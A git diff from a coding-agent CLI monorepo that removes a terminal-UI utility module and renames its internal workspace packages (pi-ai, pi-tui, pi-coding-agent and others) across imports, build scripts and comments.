b/packages/pi-tui/src/utils.ts deleted file mode 100644 index 36a1ef0a8..000000000 --- a/packages/pi-tui/src/utils.ts +++ /dev/null @@ -1,158 +0,0 @@ -import { - EllipsisKind, - extractSegments as nativeExtractSegments, - sliceWithWidth as nativeSliceWithWidth, - truncateToWidth as nativeTruncateToWidth, - visibleWidth as nativeVisibleWidth, - wrapTextWithAnsi as nativeWrapTextWithAnsi, -} from "@singularity-forge/native/text"; - -// Grapheme segmenter (shared instance) -const segmenter = new Intl.Segmenter(undefined, { granularity: "grapheme" }); - -/** - * Get the shared grapheme segmenter instance. - */ -export function getSegmenter(): Intl.Segmenter { - return segmenter; -} - -const PUNCTUATION_REGEX = /[(){}[\]<>.,;:'"!?+\-=*/\\|&%^$#@~`]/; - -/** - * Check if a character is whitespace. - */ -export function isWhitespaceChar(char: string): boolean { - return /\s/.test(char); -} - -/** - * Check if a character is punctuation. - */ -export function isPunctuationChar(char: string): boolean { - return PUNCTUATION_REGEX.test(char); -} - -// --------------------------------------------------------------------------- -// Native text module wrappers -// --------------------------------------------------------------------------- - -/** - * Calculate the visible width of a string in terminal columns. - * Delegates to the native Rust implementation. - */ -export function visibleWidth(str: string): number { - return nativeVisibleWidth(str); -} - -/** - * Wrap text with ANSI codes preserved. - * Delegates to the native Rust implementation. - * - * @param text - Text to wrap (may contain ANSI codes and newlines) - * @param width - Maximum visible width per line - * @returns Array of wrapped lines (NOT padded to width) - */ -export function wrapTextWithAnsi(text: string, width: number): string[] { - return nativeWrapTextWithAnsi(text, width); -} - -/** - * Map an ellipsis string to the native EllipsisKind enum value. - */ -function ellipsisStringToKind(ellipsis: string): number { - if (ellipsis === "\u2026") return EllipsisKind.Unicode; - if (ellipsis === "..." || ellipsis === undefined) return EllipsisKind.Ascii; - if (ellipsis === "") return EllipsisKind.None; - // Default: "..." maps to Ascii - return EllipsisKind.Ascii; -} - -/** - * Truncate text to fit within a maximum visible width, adding ellipsis if needed. - * Optionally pad with spaces to reach exactly maxWidth. - * Delegates to the native Rust implementation. - * - * @param text - Text to truncate (may contain ANSI codes) - * @param maxWidth - Maximum visible width - * @param ellipsis - Ellipsis string to append when truncating (default: "...") - * @param pad - If true, pad result with spaces to exactly maxWidth (default: false) - * @returns Truncated text, optionally padded to exactly maxWidth - */ -export function truncateToWidth( - text: string, - maxWidth: number, - ellipsis: string = "...", - pad: boolean = false, -): string { - return nativeTruncateToWidth( - text, - maxWidth, - ellipsisStringToKind(ellipsis), - pad, - ); -} - -/** - * Extract a range of visible columns from a line. Handles ANSI codes and wide chars. - * @param strict - If true, exclude wide chars at boundary that would extend past the range - */ -export function sliceByColumn( - line: string, - startCol: number, - length: number, - strict = false, -): string { - return sliceWithWidth(line, startCol, length, strict).text; -} - -/** Like sliceByColumn but also returns the actual visible width of the result. */ -export function sliceWithWidth( - line: string, - startCol: number, - length: number, - strict = false, -): { text: string; width: number } { - return nativeSliceWithWidth(line, startCol, length, strict); -} - -/** - * Extract "before" and "after" segments from a line in a single pass. - * Delegates to the native Rust implementation. - */ -export function extractSegments( - line: string, - beforeEnd: number, - afterStart: number, - afterLen: number, - strictAfter = false, -): { before: string; beforeWidth: number; after: string; afterWidth: number } { - return nativeExtractSegments( - line, - beforeEnd, - afterStart, - afterLen, - strictAfter, - ); -} - -/** - * Apply background color to a line, padding to full width. - * - * @param line - Line of text (may contain ANSI codes) - * @param width - Total width to pad to - * @param bgFn - Background color function - * @returns Line with background applied and padded to width - */ -export function applyBackgroundToLine( - line: string, - width: number, - bgFn: (text: string) => string, -): string { - const visibleLen = visibleWidth(line); - const paddingNeeded = Math.max(0, width - visibleLen); - const padding = " ".repeat(paddingNeeded); - - const withPadding = line + padding; - return bgFn(withPadding); -} diff --git a/packages/pi-tui/tsconfig.json b/packages/pi-tui/tsconfig.json deleted file mode 100644 index 081b417a3..000000000 --- a/packages/pi-tui/tsconfig.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2024", - "module": "Node16", - "lib": ["ES2024"], - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "incremental": true, - "forceConsistentCasingInFileNames": true, - "declaration": true, - "declarationMap": true, - "sourceMap": true, - "inlineSources": true, - "inlineSourceMap": false, - "moduleResolution": "Node16", - "resolveJsonModule": true, - "allowImportingTsExtensions": false, - "experimentalDecorators": true, - "emitDecoratorMetadata": true, - "useDefineForClassFields": false, - "types": ["node"], - "outDir": "./dist", - "rootDir": "./src" - }, - "include": ["src/**/*"], - "exclude": ["node_modules", "dist"] -} diff --git a/scripts/bump-version.mjs b/scripts/bump-version.mjs index f871d381c..86c21d6c5 100644 --- a/scripts/bump-version.mjs +++ b/scripts/bump-version.mjs @@ -30,10 +30,10 @@ console.log(`[bump-version] package.json: ${oldVersion} → ${newVersion}`); const workspacePackages = [ "daemon", "native", - "pi-agent-core", - "pi-ai", - "pi-coding-agent", - "pi-tui", + "agent-core", + "ai", + "coding-agent", + "tui", "rpc-client", ]; for (const name of workspacePackages) { @@ -67,7 +67,7 @@ execSync("node rust-engine/scripts/sync-platform-versions.cjs", { stdio: "inherit", }); -// 4. Sync pkg/package.json (reads from pi-coding-agent) +// 4. Sync pkg/package.json (reads from coding-agent) execSync("node scripts/sync-pkg-version.cjs", { cwd: root, stdio: "inherit" }); // 5. Regenerate root package-lock.json to match the new version. diff --git a/scripts/generate-features-inventory.mjs b/scripts/generate-features-inventory.mjs index 544ea9bf8..db4606dae 100644 --- a/scripts/generate-features-inventory.mjs +++ b/scripts/generate-features-inventory.mjs @@ -6,7 +6,7 @@ const __dirname = import.meta.dirname; const repoRoot = resolve(__dirname, ".."); const featuresPath = join(repoRoot, "FEATURES.md"); -const providersPath = join(repoRoot, "packages", "pi-ai", "src", "types.ts"); +const providersPath = join(repoRoot, "packages", "ai", "src", "types.ts"); const extensionsRoot = join(repoRoot, "src", "resources", "extensions"); const sfManifestPath = join(extensionsRoot, "sf", "extension-manifest.json"); const searchProviderPath = resolveExistingPath( @@ -50,7 +50,7 @@ export function parseKnownProviders() { const match = src.match(/export type KnownProvider =([\s\S]*?);/); if (!match) throw new Error( - "Could not find KnownProvider in packages/pi-ai/src/types.ts", + "Could not find KnownProvider in packages/ai/src/types.ts", ); const providers = [...match[1].matchAll(/"([^"]+)"/g)].map((m) => m[1]); return uniqueSorted(providers); @@ -143,7 +143,7 @@ export function buildSection() { "", "### Known Model Providers", "", - "Generated from `packages/pi-ai/src/types.ts` (`KnownProvider`).", + "Generated from `packages/ai/src/types.ts` (`KnownProvider`).", "", formatBullets(knownProviders), "", diff --git a/scripts/model-smoke-benchmark.mjs b/scripts/model-smoke-benchmark.mjs index 6b4114597..01a6ccad2 100644 --- a/scripts/model-smoke-benchmark.mjs +++ b/scripts/model-smoke-benchmark.mjs @@ -29,7 +29,7 @@ const maxTokens = Number.parseInt( await loadSfScopedEnv(); const { getModel, streamSimpleOpenAICompletions } = await import( - "../packages/pi-ai/src/index.ts" + "../packages/ai/src/index.ts" ); const modelIds = modelsArg diff --git a/scripts/preview-dashboard.ts b/scripts/preview-dashboard.ts index 213edcde5..cfe4f0c89 100644 --- a/scripts/preview-dashboard.ts +++ b/scripts/preview-dashboard.ts @@ -13,7 +13,7 @@ * npx tsx scripts/preview-dashboard.ts --narrow # force 80 cols */ -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { GLYPH, INDENT, diff --git a/scripts/validate-pack.js b/scripts/validate-pack.js index 93e2ebc52..0041f1e91 100644 --- a/scripts/validate-pack.js +++ b/scripts/validate-pack.js @@ -60,10 +60,10 @@ try { ); const workspaces = [ "native", - "pi-agent-core", - "pi-ai", - "pi-coding-agent", - "pi-tui", + "agent-core", + "ai", + "coding-agent", + "tui", ]; let crossFailed = false; @@ -119,7 +119,7 @@ try { const requiredFiles = [ "dist/loader.js", - "packages/pi-coding-agent/dist/index.js", + "packages/coding-agent/dist/index.js", "packages/rpc-client/dist/index.js", "packages/daemon/dist/cli.js", "scripts/link-workspace-packages.cjs", @@ -182,7 +182,7 @@ try { ); const installedRoot = join(installDir, "node_modules", "singularity-forge"); const criticalPackages = [ - { scope: "@singularity-forge", name: "pi-coding-agent" }, + { scope: "@singularity-forge", name: "coding-agent" }, { scope: "@singularity-forge", name: "rpc-client" }, { scope: "@singularity-forge", name: "daemon" }, ]; diff --git a/src/cli.ts b/src/cli.ts index 6c15dcb3b..cc78c683f 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -1,6 +1,6 @@ import { readFileSync } from "node:fs"; import { join } from "node:path"; -import type { Api, Model } from "@singularity-forge/pi-ai"; +import type { Api, Model } from "@singularity-forge/ai"; import { AuthStorage, createAgentSession, @@ -13,7 +13,7 @@ import { runRpcMode, SessionManager, SettingsManager, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import chalk from "chalk"; import { agentDir, authFilePath, sessionsDir } from "./app-paths.js"; import { @@ -261,7 +261,7 @@ if (cliFlags.messages[0] === "graph") { graphDiff, resolveSFRoot, writeGraph, - } = await import("@singularity-forge/pi-agent-core"); + } = await import("@singularity-forge/agent-core"); const projectDir = process.cwd(); const sfRoot = resolveSFRoot(projectDir); diff --git a/src/headless-answers.ts b/src/headless-answers.ts index bfd2d142b..0393ab01e 100644 --- a/src/headless-answers.ts +++ b/src/headless-answers.ts @@ -7,7 +7,7 @@ */ import { readFileSync } from "node:fs"; -import { serializeJsonLine } from "@singularity-forge/pi-coding-agent"; +import { serializeJsonLine } from "@singularity-forge/coding-agent"; // --------------------------------------------------------------------------- // Types diff --git a/src/headless-ui.ts b/src/headless-ui.ts index 0539fb0f2..753193776 100644 --- a/src/headless-ui.ts +++ b/src/headless-ui.ts @@ -11,7 +11,7 @@ import type { Readable } from "node:stream"; import { attachJsonlLineReader, type RpcClient, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; // --------------------------------------------------------------------------- // Types diff --git a/src/headless.ts b/src/headless.ts index cb946a92e..0b4879979 100644 --- a/src/headless.ts +++ b/src/headless.ts @@ -20,8 +20,8 @@ import { writeFileSync, } from "node:fs"; import { join, resolve } from "node:path"; -import type { SessionInfo } from "@singularity-forge/pi-coding-agent"; -import { RpcClient, SessionManager } from "@singularity-forge/pi-coding-agent"; +import type { SessionInfo } from "@singularity-forge/coding-agent"; +import { RpcClient, SessionManager } from "@singularity-forge/coding-agent"; import { error, formatStructuredError } from "./errors.js"; import { AnswerInjector, diff --git a/src/loader.ts b/src/loader.ts index 6d580b3a2..076b9d067 100644 --- a/src/loader.ts +++ b/src/loader.ts @@ -42,7 +42,7 @@ import { delimiter, join, relative, resolve } from "node:path"; } // Fast-path: handle --version/-v and --help/-h before importing any heavy -// dependencies. This avoids loading the entire pi-coding-agent barrel import +// dependencies. This avoids loading the entire coding-agent barrel import // (~1s) just to print a version string. const sfRootDir = resolve(import.meta.dirname, ".."); const args = process.argv.slice(2); @@ -269,7 +269,7 @@ applyRtkProcessEnv(process.env); // NODE_PATH — make sf's own node_modules available to extensions loaded via jiti. // Without this, extensions (e.g. browser-tools) can't resolve dependencies like -// `playwright` because jiti resolves modules from pi-coding-agent's location, not sf's. +// `playwright` because jiti resolves modules from coding-agent's location, not sf's. // Prepending sf's node_modules to NODE_PATH fixes this for all extensions. const sfNodeModules = join(sfRootDir, "node_modules"); process.env.NODE_PATH = [sfNodeModules, process.env.NODE_PATH] @@ -323,7 +323,7 @@ process.env.SF_BUNDLED_EXTENSION_PATHS = serializeBundledExtensionPaths( ); // Respect HTTP_PROXY / HTTPS_PROXY / NO_PROXY env vars for all outbound requests. -// pi-coding-agent's cli.ts sets this, but SF bypasses that entry point — so we +// coding-agent's cli.ts sets this, but SF bypasses that entry point — so we // must set it here before any SDK clients are created. // Lazy-load undici (~200ms) only when proxy env vars are actually set. if ( @@ -346,10 +346,10 @@ const sfScopeDir = join(sfNodeModules, "@singularity-forge"); const packagesDir = join(sfRootDir, "packages"); const wsPackages = [ "native", - "pi-agent-core", - "pi-ai", - "pi-coding-agent", - "pi-tui", + "agent-core", + "ai", + "coding-agent", + "tui", ]; try { if (!existsSync(sfScopeDir)) mkdirSync(sfScopeDir, { recursive: true }); @@ -376,7 +376,7 @@ try { // Validate critical workspace packages are resolvable. If still missing after the // symlink+copy attempts, emit a clear diagnostic instead of a cryptic // ERR_MODULE_NOT_FOUND from deep inside cli.js. -const criticalPackages = ["pi-coding-agent"]; +const criticalPackages = ["coding-agent"]; const missingPackages = criticalPackages.filter( (pkg) => !existsSync(join(sfScopeDir, pkg)), ); diff --git a/src/logger.ts b/src/logger.ts index aa1b656c6..58ab38f02 100644 --- a/src/logger.ts +++ b/src/logger.ts @@ -171,7 +171,11 @@ export async function configureLogger( const loggers = [ // Silence LogTape's own "loggers are configured" meta info message. - { category: ["logtape", "meta"], lowestLevel: "warning" as const, sinks: [] }, + { + category: ["logtape", "meta"], + lowestLevel: "warning" as const, + sinks: [], + }, { category: ["sf"], lowestLevel: level, diff --git a/src/onboarding.ts b/src/onboarding.ts index 06bfd89e1..bcd0d5408 100644 --- a/src/onboarding.ts +++ b/src/onboarding.ts @@ -13,7 +13,7 @@ import { execFile } from "node:child_process"; import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; -import type { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import type { AuthStorage } from "@singularity-forge/coding-agent"; import { agentDir } from "./app-paths.js"; import { isClaudeCliReady } from "./claude-cli-check.js"; import { renderLogo } from "./logo.js"; diff --git a/src/pi-migration.ts b/src/pi-migration.ts index 75d455333..a376a662e 100644 --- a/src/pi-migration.ts +++ b/src/pi-migration.ts @@ -10,7 +10,7 @@ import { join } from "node:path"; import type { AuthCredential, AuthStorage, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; const PI_AUTH_PATH = join(homedir(), ".pi", "agent", "auth.json"); const PI_SETTINGS_PATH = join(homedir(), ".pi", "agent", "settings.json"); diff --git a/src/provider-migrations.ts b/src/provider-migrations.ts index 8336f2c66..e5a5be2d3 100644 --- a/src/provider-migrations.ts +++ b/src/provider-migrations.ts @@ -1,4 +1,4 @@ -import type { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import type { AuthStorage } from "@singularity-forge/coding-agent"; type AnthropicMigrationDeps = { authStorage: Pick; diff --git a/src/resource-loader.ts b/src/resource-loader.ts index 0865264a9..75e79c788 100644 --- a/src/resource-loader.ts +++ b/src/resource-loader.ts @@ -1,7 +1,7 @@ import { DefaultResourceLoader, sortExtensionPaths, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; if (process.env.SF_DEBUG_EXTENSIONS) process.stderr.write("[sf-debug] resource-loader.ts loaded\n"); diff --git a/src/resources/extensions/ask-user-questions.js b/src/resources/extensions/ask-user-questions.js index 0a21c9310..5756baf44 100644 --- a/src/resources/extensions/ask-user-questions.js +++ b/src/resources/extensions/ask-user-questions.js @@ -9,8 +9,8 @@ * Based on: https://github.com/openai/codex (codex-rs/core/src/tools/handlers/ask_user_questions.rs) */ import { Type } from "@sinclair/typebox"; -import { formatRoundResultForTool } from "@singularity-forge/pi-agent-core"; -import { Text } from "@singularity-forge/pi-tui"; +import { formatRoundResultForTool } from "@singularity-forge/agent-core"; +import { Text } from "@singularity-forge/tui"; import { sanitizeError } from "./shared/sanitize.js"; import { showInterviewRound } from "./shared/tui.js"; diff --git a/src/resources/extensions/async-jobs/async-bash-tool.js b/src/resources/extensions/async-jobs/async-bash-tool.js index 86f9e328e..d186e7c44 100644 --- a/src/resources/extensions/async-jobs/async-bash-tool.js +++ b/src/resources/extensions/async-jobs/async-bash-tool.js @@ -16,7 +16,7 @@ import { DEFAULT_MAX_LINES, getShellConfig, sanitizeCommand, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { rewriteCommandWithRtk } from "../shared/rtk.js"; const schema = Type.Object({ diff --git a/src/resources/extensions/bg-shell/bg-shell-command.js b/src/resources/extensions/bg-shell/bg-shell-command.js index 2f7a6c676..01e52cbb1 100644 --- a/src/resources/extensions/bg-shell/bg-shell-command.js +++ b/src/resources/extensions/bg-shell/bg-shell-command.js @@ -1,7 +1,7 @@ /** * /bg slash command registration — interactive process manager overlay and CLI subcommands. */ -import { Key } from "@singularity-forge/pi-tui"; +import { Key } from "@singularity-forge/tui"; import { shortcutDesc } from "../shared/terminal.js"; import { formatDigestText, diff --git a/src/resources/extensions/bg-shell/bg-shell-lifecycle.js b/src/resources/extensions/bg-shell/bg-shell-lifecycle.js index 338e47a84..4c6d658c7 100644 --- a/src/resources/extensions/bg-shell/bg-shell-lifecycle.js +++ b/src/resources/extensions/bg-shell/bg-shell-lifecycle.js @@ -2,7 +2,7 @@ * bg_shell lifecycle hook registration — session events, compaction awareness, * context injection, process discovery, footer widget, and periodic maintenance. */ -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { formatTokenCount } from "../shared/format-utils.js"; import { cleanupAll, diff --git a/src/resources/extensions/bg-shell/bg-shell-tool.js b/src/resources/extensions/bg-shell/bg-shell-tool.js index b5160561d..bf5765377 100644 --- a/src/resources/extensions/bg-shell/bg-shell-tool.js +++ b/src/resources/extensions/bg-shell/bg-shell-tool.js @@ -2,8 +2,8 @@ * bg_shell tool registration — the core tool that agents use to manage background processes. */ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; -import { Text } from "@singularity-forge/pi-tui"; +import { StringEnum } from "@singularity-forge/ai"; +import { Text } from "@singularity-forge/tui"; import { toPosixPath } from "../shared/path-display.js"; import { queryShellEnv, runOnSession, sendAndWait } from "./interaction.js"; import { diff --git a/src/resources/extensions/bg-shell/index.js b/src/resources/extensions/bg-shell/index.js index 3c7bad4e1..8145477de 100644 --- a/src/resources/extensions/bg-shell/index.js +++ b/src/resources/extensions/bg-shell/index.js @@ -4,7 +4,7 @@ * Command/tool registration is deferred in interactive mode so startup does not * block on the full background-process stack before the TUI paints. */ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; import { registerBgShellLifecycle } from "./bg-shell-lifecycle.js"; let featuresPromise = null; diff --git a/src/resources/extensions/bg-shell/output-formatter.js b/src/resources/extensions/bg-shell/output-formatter.js index 56efb8fa3..f78b8d05e 100644 --- a/src/resources/extensions/bg-shell/output-formatter.js +++ b/src/resources/extensions/bg-shell/output-formatter.js @@ -5,7 +5,7 @@ import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, truncateHead, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { addEvent, pushAlert } from "./bg-events.js"; import { transitionToReady } from "./readiness-detector.js"; import { diff --git a/src/resources/extensions/bg-shell/overlay.js b/src/resources/extensions/bg-shell/overlay.js index fc275397c..39ad9463e 100644 --- a/src/resources/extensions/bg-shell/overlay.js +++ b/src/resources/extensions/bg-shell/overlay.js @@ -6,7 +6,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { cleanupAll, killProcess, diff --git a/src/resources/extensions/bg-shell/process-manager.js b/src/resources/extensions/bg-shell/process-manager.js index 843660e34..4c31c9d50 100644 --- a/src/resources/extensions/bg-shell/process-manager.js +++ b/src/resources/extensions/bg-shell/process-manager.js @@ -9,7 +9,7 @@ import { join } from "node:path"; import { getShellConfig, sanitizeCommand, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { rewriteCommandWithRtk } from "../shared/rtk.js"; import { addEvent, pushAlert } from "./bg-events.js"; import { analyzeLine } from "./output-formatter.js"; diff --git a/src/resources/extensions/browser-tools/index.js b/src/resources/extensions/browser-tools/index.js index dccf75691..6f4c9a06c 100644 --- a/src/resources/extensions/browser-tools/index.js +++ b/src/resources/extensions/browser-tools/index.js @@ -1,5 +1,5 @@ /** browser-tools — pi extension: full browser interaction via Playwright. */ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; let registrationPromise = null; async function registerBrowserTools(pi) { diff --git a/src/resources/extensions/browser-tools/tools/assertions.js b/src/resources/extensions/browser-tools/tools/assertions.js index 13572a953..bcee38ef1 100644 --- a/src/resources/extensions/browser-tools/tools/assertions.js +++ b/src/resources/extensions/browser-tools/tools/assertions.js @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { createRegionStableScript, diffCompactStates, diff --git a/src/resources/extensions/browser-tools/tools/inspection.js b/src/resources/extensions/browser-tools/tools/inspection.js index 336929103..955ded6a1 100644 --- a/src/resources/extensions/browser-tools/tools/inspection.js +++ b/src/resources/extensions/browser-tools/tools/inspection.js @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { getConsoleLogs, getDialogLogs, diff --git a/src/resources/extensions/browser-tools/tools/intent.js b/src/resources/extensions/browser-tools/tools/intent.js index 15850de48..265d5e954 100644 --- a/src/resources/extensions/browser-tools/tools/intent.js +++ b/src/resources/extensions/browser-tools/tools/intent.js @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { diffCompactStates } from "../core.js"; import { setLastActionAfterState, setLastActionBeforeState } from "../state.js"; diff --git a/src/resources/extensions/browser-tools/tools/interaction.js b/src/resources/extensions/browser-tools/tools/interaction.js index 8f4d014c9..e5f99b092 100644 --- a/src/resources/extensions/browser-tools/tools/interaction.js +++ b/src/resources/extensions/browser-tools/tools/interaction.js @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { diffCompactStates } from "../core.js"; import { readFocusedDescriptor } from "../settle.js"; import { setLastActionAfterState, setLastActionBeforeState } from "../state.js"; diff --git a/src/resources/extensions/browser-tools/tools/wait.js b/src/resources/extensions/browser-tools/tools/wait.js index a6759995c..2092278b0 100644 --- a/src/resources/extensions/browser-tools/tools/wait.js +++ b/src/resources/extensions/browser-tools/tools/wait.js @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { createRegionStableScript, includesNeedle, diff --git a/src/resources/extensions/browser-tools/utils.js b/src/resources/extensions/browser-tools/utils.js index 52a8ec54c..76d688ee0 100644 --- a/src/resources/extensions/browser-tools/utils.js +++ b/src/resources/extensions/browser-tools/utils.js @@ -10,7 +10,7 @@ import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, truncateHead, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { beginAction, findAction, diff --git a/src/resources/extensions/claude-code-cli/partial-builder.js b/src/resources/extensions/claude-code-cli/partial-builder.js index 8822cf690..3ef535dae 100644 --- a/src/resources/extensions/claude-code-cli/partial-builder.js +++ b/src/resources/extensions/claude-code-cli/partial-builder.js @@ -4,7 +4,7 @@ * Translates the Claude Agent SDK's `BetaRawMessageStreamEvent` sequence * into SF's `AssistantMessageEvent` deltas for incremental TUI rendering. */ -import { hasXmlParameterTags, repairToolJson } from "@singularity-forge/pi-ai"; +import { hasXmlParameterTags, repairToolJson } from "@singularity-forge/ai"; // --------------------------------------------------------------------------- // MCP tool name parsing // --------------------------------------------------------------------------- diff --git a/src/resources/extensions/claude-code-cli/stream-adapter.js b/src/resources/extensions/claude-code-cli/stream-adapter.js index 1f141f15a..aca4f20dd 100644 --- a/src/resources/extensions/claude-code-cli/stream-adapter.js +++ b/src/resources/extensions/claude-code-cli/stream-adapter.js @@ -10,7 +10,7 @@ import { execSync } from "node:child_process"; import { existsSync, readFileSync } from "node:fs"; import { homedir } from "node:os"; import { join } from "node:path"; -import { EventStream } from "@singularity-forge/pi-ai"; +import { EventStream } from "@singularity-forge/ai"; import { showInterviewRound } from "../shared/tui.js"; import { mapUsage, @@ -26,7 +26,7 @@ const SENSITIVE_FIELD_PATTERN = // --------------------------------------------------------------------------- /** * Construct an AssistantMessageEventStream using EventStream directly. - * (The class itself is only re-exported as a type from the @singularity-forge/pi-ai barrel.) + * (The class itself is only re-exported as a type from the @singularity-forge/ai barrel.) */ function createAssistantStream() { return new EventStream( @@ -988,9 +988,9 @@ export async function resolveClaudePermissionMode(env = process.env) { } return "bypassPermissions"; } -// NOTE: These helpers intentionally mirror @singularity-forge/pi-ai anthropic-shared +// NOTE: These helpers intentionally mirror @singularity-forge/ai anthropic-shared // behavior so this extension remains typecheck-stable even when the published -// @singularity-forge/pi-ai barrel lags behind monorepo source exports. +// @singularity-forge/ai barrel lags behind monorepo source exports. function modelSupportsAdaptiveThinking(modelId) { return ( modelId.includes("opus-4-6") || diff --git a/src/resources/extensions/context7/index.js b/src/resources/extensions/context7/index.js index 351056ad3..5045815a2 100644 --- a/src/resources/extensions/context7/index.js +++ b/src/resources/extensions/context7/index.js @@ -27,8 +27,8 @@ import { DEFAULT_MAX_LINES, formatSize, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { recordRetrievalEvidence } from "../sf/retrieval-evidence.js"; // ─── In-session cache ───────────────────────────────────────────────────────── @@ -43,7 +43,7 @@ function getApiKey() { } function buildHeaders() { const headers = { - "User-Agent": "pi-coding-agent/context7-extension", + "User-Agent": "coding-agent/context7-extension", }; const key = getApiKey(); if (key) headers["Authorization"] = `Bearer ${key}`; diff --git a/src/resources/extensions/get-secrets-from-user.js b/src/resources/extensions/get-secrets-from-user.js index 11ad67a76..af4661bd6 100644 --- a/src/resources/extensions/get-secrets-from-user.js +++ b/src/resources/extensions/get-secrets-from-user.js @@ -16,7 +16,7 @@ import { Text, truncateToWidth, wrapTextWithAnsi, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { formatSecretsManifest, parseSecretsManifest } from "./sf/files.js"; import { resolveMilestoneFile } from "./sf/paths.js"; import { maskEditorLine } from "./shared/mod.js"; @@ -74,7 +74,7 @@ async function writeEnvKey(filePath, key, value) { // ─── Exported utilities ─────────────────────────────────────────────────────── // Re-export from env-utils.ts so existing consumers still work. -// The implementation lives in env-utils.ts to avoid pulling @singularity-forge/pi-tui +// The implementation lives in env-utils.ts to avoid pulling @singularity-forge/tui // into modules that only need env-checking (e.g. files.ts during reports). import { checkExistingEnvKeys } from "./sf/env-utils.js"; diff --git a/src/resources/extensions/google-search/index.js b/src/resources/extensions/google-search/index.js index b25850e3c..a6f17104b 100644 --- a/src/resources/extensions/google-search/index.js +++ b/src/resources/extensions/google-search/index.js @@ -14,8 +14,8 @@ import { DEFAULT_MAX_LINES, formatSize, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { getBraveApiKey, getTavilyApiKey, diff --git a/src/resources/extensions/mac-tools/index.js b/src/resources/extensions/mac-tools/index.js index 39b68db03..2ad950fee 100644 --- a/src/resources/extensions/mac-tools/index.js +++ b/src/resources/extensions/mac-tools/index.js @@ -15,7 +15,7 @@ import { execFileSync } from "node:child_process"; import { readdirSync, statSync } from "node:fs"; import path from "node:path"; import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; // --------------------------------------------------------------------------- // Paths diff --git a/src/resources/extensions/mcp-client/index.js b/src/resources/extensions/mcp-client/index.js index 76377aa4d..a1fff2b51 100644 --- a/src/resources/extensions/mcp-client/index.js +++ b/src/resources/extensions/mcp-client/index.js @@ -22,8 +22,8 @@ import { DEFAULT_MAX_LINES, formatSize, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { buildHttpTransportOpts } from "./auth.js"; // ─── Connection Manager ─────────────────────────────────────────────────────── diff --git a/src/resources/extensions/ollama/index.js b/src/resources/extensions/ollama/index.js index 62e286ef2..da0504eb8 100644 --- a/src/resources/extensions/ollama/index.js +++ b/src/resources/extensions/ollama/index.js @@ -15,7 +15,7 @@ * * Respects OLLAMA_HOST env var for non-default endpoints. */ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; import { streamOllamaChat } from "./ollama-chat-provider.js"; import * as client from "./ollama-client.js"; import { registerOllamaCommands } from "./ollama-commands.js"; diff --git a/src/resources/extensions/ollama/ollama-chat-provider.js b/src/resources/extensions/ollama/ollama-chat-provider.js index 3eedacbab..f30cc766f 100644 --- a/src/resources/extensions/ollama/ollama-chat-provider.js +++ b/src/resources/extensions/ollama/ollama-chat-provider.js @@ -5,7 +5,7 @@ * shim. This exposes Ollama-specific options (num_ctx, keep_alive, num_gpu, * sampling parameters) and surfaces inference performance metrics. */ -import { EventStream } from "@singularity-forge/pi-ai"; +import { EventStream } from "@singularity-forge/ai"; import { chat } from "./ollama-client.js"; import { ThinkingTagParser } from "./thinking-parser.js"; @@ -349,7 +349,7 @@ function extractMetrics(chunk) { }; } // ─── Stream lifecycle helpers 